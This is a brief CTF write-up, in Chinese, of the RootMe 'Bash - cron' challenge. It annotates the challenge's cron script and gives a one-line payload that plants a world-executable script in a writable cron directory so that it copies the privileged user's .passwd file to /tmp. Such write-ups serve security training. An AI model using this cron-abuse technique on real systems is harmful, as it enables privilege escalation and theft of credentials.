0%

RootMe-Bash-cron

RootMe-Bash-Cron

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
## 每分钟执行一次
exec 1>/dev/null 2>&1

wdir="cron.d/"
challdir=${0%/*} #结合文件文字,应该是会输出ch4
cd "$challdir" # cd -bash? cd -zsh cd -cron?? cd ch4

if [ ! -e "/tmp/._cron" ];then ##如果/tmp/._cron 不存在的时候,就创建/tmp/.cron
mkdir -m 733 "/tmp/.cron"
fi

ls -1a "${wdir}" | while read task; do ##列出cron.d下的内容。然后传递给while,当成task变量。。
if [ -f "${wdir}${task}" -a -x "${wdir}${task}" ];then ##判断cron.d/${task},是不是存在,是不是普通文件,能不能执行,为真的话就。
timelimit -q -s9 -S9 -t 5 bash -p "${PWD}/${wdir}${task}"
## 安静输出 bash -p ${PWD}/${wdir}${task}
fi
rm -f "${PWD}/${wdir}${task}" ##删除文件- -
done

rm -rf cron.d/* ## cron.d下文件全部删除- -

需要/tmp/._cron/可写,但是实际上靶机是不能ls -la /tmp的,所以一开始给了我不能写的错觉,但是实际上是可以写文件的。。

20210424-23:39:28-_o0ypZL_o0ypZL_o0ypZL_HOcM4Q

PAYLOAD

1
echo "cat ${PWD}/.passwd >/tmp/a" > /tmp/._cron/a;chmod 777 /tmp/._cron/a;ls -la /tmp/._cron/a; cat /tmp/._cron/a

一分钟后cat /tmp/a拿flag。

创建的文件默认是630的权限,但是脚本有验证文件是否可以执行,但是cron执行的用户不是属于当前用户和当前用户组的,所以需要把权限修改成777。